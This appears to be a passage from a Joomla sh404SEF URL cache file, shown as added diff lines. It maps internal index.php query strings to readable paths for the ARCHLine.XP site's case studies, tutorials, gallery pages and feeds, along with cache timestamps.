+$this->_urlCache['2a8baabaf7564622ff7c2f5da89519c7']='index.php?option=com_sppagebuilder&Itemid=778&id=328&lang=en&layout=edit&tmpl=component&view=form#edit/328#0'; +$shURLCacheCreationDate=1777918349; +$this->_urlCache['9ca04807b54fd579bc98bd872f491c7f']='index.php?option=com_sppagebuilder&Itemid=790&id=343&lang=en&layout=edit&tmpl=component&view=form#edit/343#0'; +$shURLCacheCreationDate=1777918371; +$this->_urlCache['79fa44bee409b5091a8b11acfa5b15e0']='index.php?option=com_sppagebuilder&Itemid=703&id=264&lang=en&layout=edit&tmpl=component&view=form#edit/264#0'; +$shURLCacheCreationDate=1777918405; +$this->_urlCache['04695db7e0ff518029a3367be17a3bde']='index.php?option=com_content&Itemid=367&catid=25&id=477&lang=en&view=article#blog/professional-articles/how-to-improve-your-render-image-in-some-easy-steps-in-the-2016-version#0'; +$shURLCacheCreationDate=1777918429; +$this->_urlCache['6f0f74825840660cc581d08e1f0f36be']='index.php?option=com_sppagebuilder&Itemid=784&id=335&lang=en&layout=edit&tmpl=component&view=form#edit/335#0'; +$shURLCacheCreationDate=1777918592; +$this->_urlCache['624a9a6ead038c28c0fbe4fe2a7894f1']='index.php?option=com_content&Itemid=124&catid=44&id=404&lang=en&view=article#education/rendszerkovetelmenyek#0'; +$shURLCacheCreationDate=1777919350; +$this->_urlCache['d585c5c3e8c761897b3cc62186072219']='index.php?option=com_sppagebuilder&Itemid=418&id=116&lang=en&layout=edit&tmpl=component&view=form#116-interior-design-tools/edit#0'; +$shURLCacheCreationDate=1777919450; +$this->_urlCache['8fc3f54ed7306a034ea25b4cdccfb312']='index.php?option=com_content&Itemid=366&catid=24&id=1014&lang=en&view=article#blog/case-studies/family-home-with-hollywood-vibes#0'; +$shURLCacheCreationDate=1777919573; +$this->_urlCache['5baf1d11f14fdb0860c0b2d737a43fd0']='index.php?option=com_sppagebuilder&Itemid=578&id=202&lang=en&layout=edit&tmpl=component&view=form#202-system-requirements-for-live/edit#0'; +$shURLCacheCreationDate=1777920387; +$this->_urlCache['b21d02f2af6f6e712bb5937e04b01c3a']='index.php?option=com_content&Itemid=367&catid=25&id=476&lang=en&view=article#blog/professional-articles/finalising-the-design-work-visuals-and-rendering#0'; +$this->_urlCache['cb04baf0ef9f676b45cd3269b03d0cb1']='index.php?option=com_jsn&Itemid=&id=1359&lang=en&view=profile#alternativ-interiorzamborszkyeva.hu.html#0'; +$shURLCacheCreationDate=1777920661; +$this->_urlCache['13f0f0fecd750fd1a82acf0918af3cf2']='index.php?option=com_sppagebuilder&Itemid=211&id=21&lang=en&layout=edit&tmpl=component&view=form#21-new-in-archline-xp-2017/edit#0'; +$shURLCacheCreationDate=1777920760; +$this->_urlCache['c32b1675745a4a84f167f3ca49a97092']='index.php?option=com_content&Itemid=124&catid=18&id=854&lang=en&view=article#education/tips-documentation/helping-tips/editing-the-contour-of-tiled-surfaces#0'; +$shURLCacheCreationDate=1777920763; +$this->_urlCache['2b573f16042647e826ad89791b75a0f1']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=en&layout=blog&type=rss&view=category#archline-xp/news/feed/rss#0'; +$this->_urlCache['12944b6399f09a9996c19b7cd8f6d441']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=en&layout=blog&type=atom&view=category#archline-xp/news/feed/atom#0'; +$shURLCacheCreationDate=1777921668; +$this->_urlCache['8c3f17b519a6ab16b350eca0ac73f81a']='index.php?option=com_sppagebuilder&Itemid=676&id=247&lang=en&layout=edit&tmpl=component&view=form#edit/247#0'; +$shURLCacheCreationDate=1777923152; +$this->_urlCache['4c629e90b7285d62ccfcb1b82d3be10d']='index.php?option=com_content&Itemid=366&catid=24&id=977&lang=en&view=article#blog/case-studies/meet-the-designer-eniko-varady#0'; +$shURLCacheCreationDate=1777923423; +$this->_urlCache['cf05bb1c7e9d99ac845f4bab9385eb68']='index.php?option=com_jsn&Itemid=&id=997&lang=en&view=profile#terformairodagmail.com.html#0'; +$shURLCacheCreationDate=1777923425; +$this->_urlCache['45cd29f61eb5e5459fb0b44912363d66']='index.php?option=com_icagenda&Itemid=679&id=108&lang=en&view=event#108-2025-update-day-november#0'; +$shURLCacheCreationDate=1777923448; +$this->_urlCache['004de9140e0c62826bc25220717a2873']='index.php?option=com_content&Itemid=124&catid=40&id=367&lang=en&view=article#projects/architecture-stairs/spiral-stair#0'; +$this->_urlCache['62887a98ab874e61e3b683af063cb470']='index.php?option=com_content&Itemid=124&catid=40&id=368&lang=en&view=article#projects/architecture-stairs/modern-staircase-2#0'; +$this->_urlCache['2f25ad3dc83d64d4f7199f9efaf464a9']='index.php?option=com_content&Itemid=124&catid=40&id=366&lang=en&view=article#projects/architecture-stairs/office-reception-stair#0'; +$shURLCacheCreationDate=1777923520; +$this->_urlCache['8d7d9e97e01c06c3a77fe7adf7467b4a']='index.php?option=com_content&Itemid=124&catid=18&id=856&lang=en&view=article#education/tips-documentation/helping-tips/editing-front-profile-of-one-layer-on-a-multilayered-wall#0'; +$shURLCacheCreationDate=1777923850; +$this->_urlCache['686b7b1fa90c4f8cc54afb3c8562d247']='index.php?option=com_content&Itemid=124&catid=34&id=568&lang=en&view=article#download/trial-download-2016-397#0'; +$shURLCacheCreationDate=1777924527; +$this->_urlCache['95fdfa86829f1beb7bf22867f76f271a']='index.php?option=com_content&Itemid=366&catid=24&id=1029&lang=en&view=article#blog/case-studies/kitchen-furniture-animation#0'; +$shURLCacheCreationDate=1777924907; +$this->_urlCache['270021949d8307ed6c7c12eec2a3e095']='index.php?option=com_sppagebuilder&Itemid=516&id=158&lang=en&layout=edit&tmpl=component&view=form#158-dimensioning-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777924915; +$this->_urlCache['c94c58921ac4a267f34cbc34c81ef622']='index.php?option=com_content&Itemid=124&catid=34&id=968&lang=en&view=article#download/archline-xp-2023-live-websetup-download#1'; +$shURLCacheCreationDate=1777924929; +$this->_urlCache['9e09f0e1e3a55d045fb1b2ce8dd9e50f']='index.php?option=com_content&Itemid=366&catid=24&id=983&lang=en&view=article#blog/case-studies/we-design-it-apartments-with-terraces#0'; +$shURLCacheCreationDate=1777924939; +$this->_urlCache['f30db67d48846d40248ddf9cd4f6b8c2']='index.php?option=com_content&Itemid=124&catid=18&id=828&lang=en&view=article#education/tips-documentation/helping-tips/3d-warehouse-does-not-allow-direct-download#0'; +$shURLCacheCreationDate=1777924943; +$this->_urlCache['149463baee39dacbfd0fd532ab9bf640']='index.php?option=com_content&Itemid=366&catid=24&id=874&lang=en&view=article#blog/case-studies/case-study-andreas-brabenec-switzerland#0'; +$shURLCacheCreationDate=1777924955; +$this->_urlCache['c0553b9cfe3082f79d0cacfa3a1d387d']='index.php?option=com_content&Itemid=366&catid=24&id=645&lang=en&view=article#blog/case-studies/family-houses-from-floorplans-to-visualization#0'; +$shURLCacheCreationDate=1777924962; +$this->_urlCache['e4eb2883a64cb324fe7e800202fdd175']='index.php?option=com_sppagebuilder&Itemid=505&id=148&lang=en&layout=edit&tmpl=component&view=form#148-tutorial-videos-archline-xp-architecture-level-1/edit#0'; +$shURLCacheCreationDate=1777924971; +$this->_urlCache['df4baea093f21453cb4346dc6f483cc3']='index.php?option=com_content&Itemid=124&catid=18&id=829&lang=en&view=article#education/tips-documentation/helping-tips/print-plot-layouts-in-a-multi-page-pdf#0'; +$shURLCacheCreationDate=1777924975; +$this->_urlCache['a5bfd38f412e7d9e288c1c709496a1b4']='index.php?option=com_sppagebuilder&Itemid=504&id=147&lang=en&layout=edit&tmpl=component&view=form#147-tutorial-videos-archline-xp-interior-level-2/edit#0'; +$shURLCacheCreationDate=1777925003; +$this->_urlCache['8919972febe4e50e9fe7c662a3cd4f5e']='index.php?option=com_content&Itemid=124&catid=54&id=753&lang=en&view=article#education/webinars/archline-xp-2019-highlights-1#0'; +$shURLCacheCreationDate=1777925027; +$this->_urlCache['4d467f731fde5ed2254ce4791ded446a']='index.php?option=com_sppagebuilder&Itemid=444&id=133&lang=en&layout=edit&tmpl=component&view=form#133-new-in-archline-xp-2018/edit#0'; +$shURLCacheCreationDate=1777925432; +$this->_urlCache['8a9ef573b4eaeb819bfd6b481055cbaa']='index.php?option=com_sppagebuilder&Itemid=763&id=311&lang=en&layout=edit&tmpl=component&view=form#edit/311#0'; +$shURLCacheCreationDate=1777926233; +$this->_urlCache['938d8c5479123d082768bc817a32a621']='index.php?option=com_icagenda&Itemid=786&id=108&lang=en&view=event#108-2025-update-day-november#0'; +$this->_urlCache['a80a34faa1651d556c5771c0c933fbdf']='index.php?option=com_icagenda&id=108&lang=en&view=event#108-2025-update-day-november#0'; +$this->_urlCache['25891e2a1007af1eb01807a73c325a52']='index.php?option=com_icagenda&Itemid=786&id=108&lang=en&view=registration#108-2025-update-day-november/registration#0'; +$shURLCacheCreationDate=1777926249; +$this->_urlCache['36bc783d084079c8def053cae0e9499d']='index.php?option=com_content&Itemid=366&catid=24&id=859&lang=en&view=article#blog/case-studies/interview-with-antonis-kiritsis#0'; +$shURLCacheCreationDate=1777926757; +$this->_urlCache['5ae214aa77c07b22596ea065ee29908e']='index.php?option=com_content&Itemid=366&catid=24&id=939&lang=en&view=article#blog/case-studies/madgolna-szilasi-graduation-project-with-archline-xp-2#0'; +$shURLCacheCreationDate=1777926912; +$this->_urlCache['32e86326357409cb354edead1e02d1e4']='index.php?option=com_content&Itemid=366&catid=24&id=1036&lang=en&view=article#blog/case-studies/renovated-suburban-family-home#0'; +$shURLCacheCreationDate=1777926930; +$this->_urlCache['69c1e44ce862718b6865bb946bfcd132']='index.php?option=com_sppagebuilder&Itemid=733&id=276&lang=en&layout=edit&tmpl=component&view=form#edit/276#0'; +$shURLCacheCreationDate=1777927159; +$this->_urlCache['e3cdca3f05218c62ed8c8b4c05b648ef']='index.php?option=com_sppagebuilder&Itemid=160&id=4&lang=en&layout=edit&tmpl=component&view=form#4-about-archline-xp/edit#0'; +$shURLCacheCreationDate=1777927617; +$this->_urlCache['1b2f5f97b8b451071297e58cf308747b']='index.php?option=com_content&Itemid=175&catid=20&id=851&lang=en&view=article#archline-xp/gallery/picture-of-the-month/june-2020#0'; +$shURLCacheCreationDate=1777928121; +$this->_urlCache['432560b83fbbe0b3a2123ec7f460d6bf']='index.php?option=com_sppagebuilder&Itemid=518&id=161&lang=en&layout=edit&tmpl=component&view=form#161-foundation-interior-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777928147; +$this->_urlCache['49e92da76171b399d3d391d4d3352b20']='index.php?option=com_content&Itemid=175&catid=20&id=909&lang=en&view=article#archline-xp/gallery/picture-of-the-month/september-2021#0'; +$this->_urlCache['e44a018a0685683b94121a5cf27fc4db']='index.php?option=com_content&Itemid=175&catid=20&id=908&lang=en&view=article#archline-xp/gallery/picture-of-the-month/august-2021-8#0'; +$this->_urlCache['df0b88f279ffa766a271a7e5cf9ed80b']='index.php?option=com_content&Itemid=175&catid=20&id=906&lang=en&view=article#archline-xp/gallery/picture-of-the-month/may-2021#0'; +$this->_urlCache['55a9521495c4918515266091105e954d']='index.php?option=com_content&Itemid=175&catid=20&id=905&lang=en&view=article#archline-xp/gallery/picture-of-the-month/february-2021#0'; +$this->_urlCache['84fe8fcab0038e3ded67f243e5b2f87f']='index.php?option=com_content&Itemid=175&catid=20&id=881&lang=en&view=article#archline-xp/gallery/picture-of-the-month/januar-2021#0'; +$this->_urlCache['620d117c5abd2ee4bc71be579ee1530d']='index.php?option=com_content&Itemid=175&catid=20&id=880&lang=en&view=article#archline-xp/gallery/picture-of-the-month/december-2020#0'; +$this->_urlCache['e6c3a36efc8029a6ff1ef52fea517193']='index.php?option=com_content&Itemid=175&catid=20&id=879&lang=en&view=article#archline-xp/gallery/picture-of-the-month/november-202#0'; +$this->_urlCache['b4604d38a59375dd252e9f6eff71fa62']='index.php?option=com_content&Itemid=175&catid=20&id=878&lang=en&view=article#archline-xp/gallery/picture-of-the-month/october-2020#0'; +$this->_urlCache['2782dd1c0a5068f8ca2b6b43017248f3']='index.php?option=com_content&Itemid=175&catid=20&id=877&lang=en&view=article#archline-xp/gallery/picture-of-the-month/september-2020#0'; +$this->_urlCache['26d005f1c540e526d549f205243dc200']='index.php?option=com_content&Itemid=175&catid=20&id=876&lang=en&view=article#archline-xp/gallery/picture-of-the-month/august-2021#0'; +$this->_urlCache['ce5ccd9607426198d5c49f6f0f7d72d2']='index.php?option=com_content&Itemid=175&catid=20&id=875&lang=en&view=article#archline-xp/gallery/picture-of-the-month/july-2020#0'; +$this->_urlCache['25cac29c1ce66969603f18ae96b55a81']='index.php?option=com_content&Itemid=175&catid=20&id=837&lang=en&view=article#archline-xp/gallery/picture-of-the-month/may-2020#0'; +$this->_urlCache['8cdaa748221952f73e301a8c49754aea']='index.php?option=com_content&Itemid=175&catid=20&id=832&lang=en&view=article#archline-xp/gallery/picture-of-the-month/april-2020#0'; +$this->_urlCache['8a3ad09f27122f4fbd6fda998e4a954b']='index.php?option=com_content&Itemid=175&catid=20&id=825&lang=en&view=article#archline-xp/gallery/picture-of-the-month/february-2020#0'; +$this->_urlCache['879d0a747989d68650a09ceeb239538d']='index.php?option=com_content&Itemid=175&catid=20&id=820&lang=en&view=article#archline-xp/gallery/picture-of-the-month/january-2020#0'; +$this->_urlCache['080362a8b209204c1bf9e278aeb060df']='index.php?option=com_content&Itemid=175&catid=20&id=818&lang=en&view=article#archline-xp/gallery/picture-of-the-month/december-2019#0'; +$this->_urlCache['4e9882d9045bfbfa1b6e520fc45de02e']='index.php?option=com_content&Itemid=175&catid=20&id=815&lang=en&view=article#archline-xp/gallery/picture-of-the-month/november-2019#0'; +$this->_urlCache['cedb9026f19112dd5445e77cbb675b83']='index.php?option=com_content&Itemid=175&catid=20&id=814&lang=en&view=article#archline-xp/gallery/picture-of-the-month/october-2019#0'; +$this->_urlCache['72f60991ca5944073fd12cf4dd6ed60f']='index.php?option=com_content&Itemid=175&catid=20&id=808&lang=en&view=article#archline-xp/gallery/picture-of-the-month/september-2019#0'; +$this->_urlCache['e4d208aa3dbf397744f79bf7475dff70']='index.php?option=com_content&Itemid=175&catid=20&id=800&lang=en&view=article#archline-xp/gallery/picture-of-the-month/august-2019#0'; +$this->_urlCache['0568b64010fe112001932d0f1636d97e']='index.php?option=com_content&Itemid=175&catid=20&id=793&lang=en&view=article#archline-xp/gallery/picture-of-the-month/june-2019#0'; +$this->_urlCache['7538e89354d1ab377d07c7a53951251c']='index.php?option=com_content&Itemid=175&catid=20&id=785&lang=en&view=article#archline-xp/gallery/picture-of-the-month/may-2019#0'; +$this->_urlCache['ce064bc0fe9e508e46de99bd775cc43d']='index.php?option=com_content&Itemid=175&catid=20&id=784&lang=en&view=article#archline-xp/gallery/picture-of-the-month/april-2019#0'; +$this->_urlCache['ea9020c313ead321d2a55c58feb0e76f']='index.php?option=com_content&Itemid=175&catid=20&id=765&lang=en&view=article#archline-xp/gallery/picture-of-the-month/march-2019#0'; +$this->_urlCache['19cf89d0b683733115dcfe6752d79c19']='index.php?option=com_content&Itemid=175&catid=20&id=615&lang=en&view=article#archline-xp/gallery/picture-of-the-month/february-2019#0'; +$this->_urlCache['fd427258de9da1afd60d155a7e4c5e41']='index.php?option=com_content&Itemid=175&catid=20&id=755&lang=en&view=article#archline-xp/gallery/picture-of-the-month/picture-of-the-year-2018#0'; +$this->_urlCache['da55cfeb03c43f74f4533c164014a000']='index.php?option=com_content&Itemid=175&catid=20&id=754&lang=en&view=article#archline-xp/gallery/picture-of-the-month/january-2019#0'; +$this->_urlCache['ec286ee2fd8a7ffd9af24b6f8cab7d47']='index.php?option=com_content&Itemid=175&catid=20&id=745&lang=en&view=article#archline-xp/gallery/picture-of-the-month/december-2018#0'; +$this->_urlCache['2a04dfcb4b1f36f9f5151bf24bc3713f']='index.php?option=com_content&Itemid=175&catid=20&id=743&lang=en&view=article#archline-xp/gallery/picture-of-the-month/november-2018#0'; +$this->_urlCache['b5c5982f4d9f37c601678ba1aebe4da8']='index.php?option=com_content&Itemid=175&catid=20&id=738&lang=en&view=article#archline-xp/gallery/picture-of-the-month/october-2018#0'; +$this->_urlCache['afbbc7ca3b456cbe6100ff0ed197c900']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&limitstart=62&type=atom&view=category#archline-xp/gallery/picture-of-the-month/feed/atom/Page-3-31#0'; +$shURLCacheCreationDate=1777928305; +$this->_urlCache['b8c07fdb2ff428a43623b4a6adf4f812']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&limitstart=62&type=rss&view=category#archline-xp/gallery/picture-of-the-month/feed/rss/Page-3-31#0'; +$shURLCacheCreationDate=1777928308; +$this->_urlCache['e4e1780fe3cb52f0ca9cc97972cfd29c']='index.php?option=com_content&Itemid=175&catid=20&id=598&lang=en&view=article#archline-xp/gallery/picture-of-the-month/february-2016#0'; +$this->_urlCache['45f6524d9e4fb2eefa58861c03acbc2d']='index.php?option=com_content&Itemid=175&catid=20&id=599&lang=en&view=article#archline-xp/gallery/picture-of-the-month/january-2016#0'; +$this->_urlCache['f7403eeb673fbb5a4b240e10bde10e68']='index.php?option=com_content&Itemid=175&catid=20&id=597&lang=en&view=article#archline-xp/gallery/picture-of-the-month/december-2015#0'; +$this->_urlCache['8c7ea5f43455030440aa2de515fdc795']='index.php?option=com_content&Itemid=175&catid=20&id=594&lang=en&view=article#archline-xp/gallery/picture-of-the-month/september-2015#0'; +$this->_urlCache['c565b7d97418e03db8f02ee00f8fd4a5']='index.php?option=com_content&Itemid=175&catid=20&id=596&lang=en&view=article#archline-xp/gallery/picture-of-the-month/november-2015#0'; +$this->_urlCache['67efd464238221e882936385a3a9f2f9']='index.php?option=com_content&Itemid=175&catid=20&id=593&lang=en&view=article#archline-xp/gallery/picture-of-the-month/august-2015#0'; +$this->_urlCache['6a1d594ad39c88bf4d416d94898f87a8']='index.php?option=com_content&Itemid=175&catid=20&id=592&lang=en&view=article#archline-xp/gallery/picture-of-the-month/july-2015#0'; +$this->_urlCache['17e7d7e796c5e14b4e8012ab092a5823']='index.php?option=com_content&Itemid=175&catid=20&id=591&lang=en&view=article#archline-xp/gallery/picture-of-the-month/june-2015#0'; +$this->_urlCache['0bb1f4cee4ebd285d9a9e137760b9bf0']='index.php?option=com_content&Itemid=175&catid=20&id=590&lang=en&view=article#archline-xp/gallery/picture-of-the-month/may-2015#0'; +$this->_urlCache['8cd2bb158c416390659290ae0d832e46']='index.php?option=com_content&Itemid=175&catid=20&id=588&lang=en&view=article#archline-xp/gallery/picture-of-the-month/march-2015#0'; +$this->_urlCache['e301ff74dbe809dcad2404c02da4c571']='index.php?option=com_content&Itemid=175&catid=20&id=587&lang=en&view=article#archline-xp/gallery/picture-of-the-month/february-2015#0'; +$this->_urlCache['825c61e26ca5018fbea1bd78c49b05d3']='index.php?option=com_content&Itemid=175&catid=20&id=586&lang=en&view=article#archline-xp/gallery/picture-of-the-month/january-2015#0'; +$this->_urlCache['b8c07fdb2ff428a43623b4a6adf4f812']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&limitstart=62&type=rss&view=category#archline-xp/gallery/picture-of-the-month/feed/rss/Page-3-31#0'; +$shURLCacheCreationDate=1777928311; +$this->_urlCache['6e63418b50e7196af2fa8baafc587cb9']='index.php?option=com_content&Itemid=124&catid=18&id=841&lang=en&view=article#education/tips-documentation/helping-tips/story-bounded-walls#0'; +$shURLCacheCreationDate=1777929111; +$this->_urlCache['881981dab458a4686f9faa082a426a72']='index.php?option=com_content&Itemid=366&catid=24&id=973&lang=en&view=article#blog/case-studies/swiss-minimal-style-interior#0'; +$shURLCacheCreationDate=1777929681; +$this->_urlCache['461e4fea739d9eeb60aebd94f445f055']='index.php?option=com_sppagebuilder&Itemid=722&id=272&lang=en&layout=edit&tmpl=component&view=form#edit/272#0'; +$shURLCacheCreationDate=1777930641; +$this->_urlCache['80089ac898e121d119357dc921dcc889']='index.php?option=com_content&Itemid=366&catid=24&id=899&lang=en&view=article#blog/case-studies/terras-alphaville-lilian-cortes-brazil#1'; +$shURLCacheCreationDate=1777932542; +$this->_urlCache['103ef02bae1be5f95a34c0c817d44b2d']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&type=rss&view=category#blog/case-studies/feed/rss#0'; +$this->_urlCache['df8488f0e9af2b9ea1aa021882dfcebd']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&limit=31&type=atom&view=category#blog/case-studies/feed/atom#0'; +$this->_urlCache['9e92e1390a5547bdd69d8af476ee2083']='index.php?option=com_content&Itemid=366&catid=24&id=736&lang=en&view=article#blog/case-studies/when-designers-plan-their-own-home-part-2#0'; +$this->_urlCache['983d0be886404bd859d3c005ae492198']='index.php?option=com_content&Itemid=366&catid=24&id=733&lang=en&view=article#blog/case-studies/when-designers-plan-their-own-home#0'; +$this->_urlCache['a8d6b13eff79a9e02e51ad5b2a25bb20']='index.php?option=com_content&Itemid=366&catid=24&id=956&lang=en&view=article#blog/case-studies/why-i-switched-from-revit-and-archicad-to-archline-xp#0'; +$this->_urlCache['a641da334422f33130be3034c0da60fd']='index.php?option=com_content&Itemid=366&catid=24&id=709&lang=en&view=article#blog/case-studies/bim-benefits-for-an-everyday-project#0'; +$this->_urlCache['5b5b6150eb04453be2f68e5b5d3f7a5f']='index.php?option=com_content&Itemid=366&catid=24&id=705&lang=en&view=article#blog/case-studies/office-space-plans-of-a-budapest-based-it-company#0'; +$this->_urlCache['5bbf2b4fcd85b6d47f30ff505803a133']='index.php?option=com_content&Itemid=366&catid=24&id=669&lang=en&view=article#blog/case-studies/computer-aided-carpentry#0'; +$this->_urlCache['1c17eb56e210aff881c47631c0aafa75']='index.php?option=com_content&Itemid=366&catid=24&id=667&lang=en&view=article#blog/case-studies/archline-xp-at-the-centre-of-our-refurbishment-operations#0'; +$this->_urlCache['3d2fc1150ac10c52a5a3eeec04cc8aa5']='index.php?option=com_content&Itemid=366&catid=24&id=656&lang=en&view=article#blog/case-studies/extending-a-home-in-britain#0'; +$this->_urlCache['96b0d37886acf4020848cbc88fe80603']='index.php?option=com_content&Itemid=366&catid=24&id=657&lang=en&view=article#blog/case-studies/meet-the-architect-alice-alghisi#0'; +$this->_urlCache['6ec931a1bb12554247a918c4dc8bf190']='index.php?option=com_content&Itemid=366&catid=24&id=641&lang=en&view=article#blog/case-studies/seaside-apartment-blocks#0'; +$this->_urlCache['32cfd1d76edd8c388104a6cec03eb8b4']='index.php?option=com_content&Itemid=366&catid=24&id=640&lang=en&view=article#blog/case-studies/church-renovation-with-archline-xp#0'; +$this->_urlCache['10f987ad92c2b06fae4e4f06352dccc0']='index.php?option=com_content&Itemid=366&catid=24&id=642&lang=en&view=article#blog/case-studies/luxury-apartments#0'; +$this->_urlCache['657c7020daf5bb5b91e7133b0562d614']='index.php?option=com_content&Itemid=366&catid=24&id=643&lang=en&view=article#blog/case-studies/meet-the-architect#0'; +$this->_urlCache['38bd3c2ac33bad6eb19ed5f300e0c188']='index.php?option=com_content&Itemid=366&catid=24&id=644&lang=en&view=article#blog/case-studies/meet-the-architect-daniele-de-zordo#0'; +$this->_urlCache['0c001b9281c9e7ae11052fc17e47aaeb']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&view=category#blog/case-studies/#0'; +$this->_urlCache['63dfa6023101a090288fcd4e0a902074']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=0&view=category#blog/case-studies/#0'; +$shURLCacheCreationDate=1777934082; +$this->_urlCache['33af4b367e9ac4825210fb30132126db']='index.php?option=com_content&Itemid=267&format=feed&id=18&lang=en&layout=blog&limit=5&type=rss&view=category#education/tips-documentation/helping-tips/feed/rss/Page-1-5#0'; +$this->_urlCache['8e837fbcfc200d3cba8b732aa8fa1d01']='index.php?option=com_content&Itemid=267&format=feed&id=18&lang=en&layout=blog&limit=5&type=atom&view=category#education/tips-documentation/helping-tips/feed/atom/Page-1-5#0'; +$this->_urlCache['87af5843caedd3e57a57b23df42ea589']='index.php?option=com_content&Itemid=124&catid=18&id=702&lang=en&view=article#education/tips-documentation/helping-tips/nvidia#0'; +$this->_urlCache['7236f9ae47bdd9fbfeeed2ab71637234']='index.php?option=com_content&Itemid=124&catid=18&id=688&lang=en&view=article#education/tips-documentation/helping-tips/relocating-the-whole-work-environment#0'; +$this->_urlCache['3eb84bd8b732474c67965ceede976a1b']='index.php?option=com_content&Itemid=124&catid=18&id=631&lang=en&view=article#education/tips-documentation/helping-tips/using-the-ifc-import-2#0'; +$this->_urlCache['833ba0a2890ed0d1ed878df2b51f79c5']='index.php?option=com_content&Itemid=124&catid=18&id=444&lang=en&view=article#education/tips-documentation/helping-tips/bad-quality-render-when-objects-are-far-from-drawing-origin#0'; +$this->_urlCache['ec17d0620beea2a8b6a20ccac9bffd72']='index.php?option=com_content&Itemid=124&catid=18&id=541&lang=en&view=article#education/tips-documentation/helping-tips/windows-firewall-settings#0'; +$shURLCacheCreationDate=1777935972; +$this->_urlCache['f1374d9751c4c01db606239a22fb5b29']='index.php?option=com_content&Itemid=124&catid=18&id=864&lang=en&view=article#education/tips-documentation/helping-tips/importing-3d-dwg-files-using-the-sketch-mode-function#0'; +$shURLCacheCreationDate=1777939527; +$this->_urlCache['4e47741b0c7d012af4fa7eabb6501c94']='index.php?option=com_sppagebuilder&Itemid=529&id=169&lang=en&layout=edit&tmpl=component&view=form#169-visualization-interior-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777939535; +$this->_urlCache['25017b6f76557e4fc6983b913b14538f']='index.php?option=com_content&Itemid=124&catid=54&id=737&lang=en&view=article#education/webinars/advanced-2d-modeling-tools-1#0'; +$shURLCacheCreationDate=1777939547; +$this->_urlCache['eb036ffb6bc1099258b549b68d86fbf6']='index.php?option=com_sppagebuilder&Itemid=533&id=174&lang=en&layout=edit&tmpl=component&view=form#174-doors-and-windows-architecture-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777940024; +$this->_urlCache['f42701391132a09046c027db1bab61bc']='index.php?option=com_users&Itemid=124&lang=en&view=reset#lost-password/#0'; +$shURLCacheCreationDate=1777940555; +$this->_urlCache['2efdac7641b5d8397f20399759c6ab34']='index.php?option=com_sppagebuilder&Itemid=791&id=345&lang=en&layout=edit&tmpl=component&view=form#edit/345#0'; +$shURLCacheCreationDate=1777941027; +$this->_urlCache['61efbbf260abc4fa2252730172299b98']='index.php?option=com_icagenda&Itemid=679&id=34&lang=en&view=event#34-archline-xp-through-the-eyes-of-the-user-a-visit-to-pracownia-88#1'; +$shURLCacheCreationDate=1777942504; +$this->_urlCache['c6f27c8d08c4e5adf763d27a62449ec6']='index.php?option=com_sppagebuilder&Itemid=539&id=180&lang=en&layout=edit&tmpl=component&view=form#180-roof-architecture-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777942868; +$this->_urlCache['6e376868a0fa5531990e322bfbf9bca1']='index.php?option=com_sppagebuilder&Itemid=581&id=205&lang=en&layout=edit&tmpl=component&view=form#205-learn-live/edit#0'; +$shURLCacheCreationDate=1777943002; +$this->_urlCache['c3dfde0798540cffbf66192f165f4609']='index.php?option=com_sppagebuilder&Itemid=507&id=150&lang=en&layout=edit&tmpl=component&view=form#150-tutorial-videos-archline-xp-bim-level/edit#0'; +$shURLCacheCreationDate=1777943055; +$this->_urlCache['7350e36ee429c8bb27fcb28b336b4c70']='index.php?option=com_sppagebuilder&Itemid=701&id=262&lang=en&layout=edit&tmpl=component&view=form#edit/262#0'; +$shURLCacheCreationDate=1777943558; +$this->_urlCache['84fead8a88cc5b32c39ddd0a52a8f2e5']='index.php?option=com_content&Itemid=124&catid=18&id=845&lang=en&view=article#education/tips-documentation/helping-tips/displaying-furnitures-in-sections#0'; +$shURLCacheCreationDate=1777944558; +$this->_urlCache['0d1272d5e777cc30ca14ab868a016618']='index.php?option=com_sppagebuilder&Itemid=630&id=235&lang=en&layout=edit&tmpl=component&view=form#edit/235#0'; +$shURLCacheCreationDate=1777945065; +$this->_urlCache['daed078f5a6cfd2f20af9bc3cedb88ef']='index.php?option=com_content&Itemid=366&catid=24&id=964&lang=en&view=article#blog/case-studies/apartment-complex-with-panoramic-view-in-buda-designer-borbala-kamaras#0'; +$shURLCacheCreationDate=1777946419; +$this->_urlCache['28e50f60fd9e478f74864761f22a9bb2']='index.php?option=com_content&Itemid=367&catid=25&id=675&lang=en&view=article#blog/professional-articles/archline-xp-for-autocad-users#0'; +$shURLCacheCreationDate=1777946499; +$this->_urlCache['74f9c2ef9d69a50125122f93163c359a']='index.php?option=com_content&Itemid=366&catid=24&id=862&lang=en&view=article#blog/case-studies/case-study-alberto-betti-omega-solutions#0'; +$shURLCacheCreationDate=1777946643; +$this->_urlCache['db740c1e6f1b1684f24c666a12d8f55b']='index.php?option=com_sppagebuilder&Itemid=777&id=327&lang=en&layout=edit&tmpl=component&view=form#edit/327#0'; +$shURLCacheCreationDate=1777946707; +$this->_urlCache['ab1f2dbc6c66e1110087b40bda013e91']='index.php?option=com_content&Itemid=124&catid=54&id=696&lang=en&view=article#education/webinars/interior-design-4-lights-and-rendering#0'; +$shURLCacheCreationDate=1777947095; +$this->_urlCache['3e409288a1d99da11578b0346ec16838']='index.php?option=com_content&Itemid=366&catid=24&id=1018&lang=en&view=article#blog/case-studies/we-design-it-quality-change#0'; +$shURLCacheCreationDate=1777947349; +$this->_urlCache['f379edeca88e8f330a54a8ee0940f737']='index.php?option=com_content&Itemid=366&catid=24&id=1023&lang=en&view=article#blog/case-studies/natural-luxury-and-comfort#0'; +$shURLCacheCreationDate=1777947435; 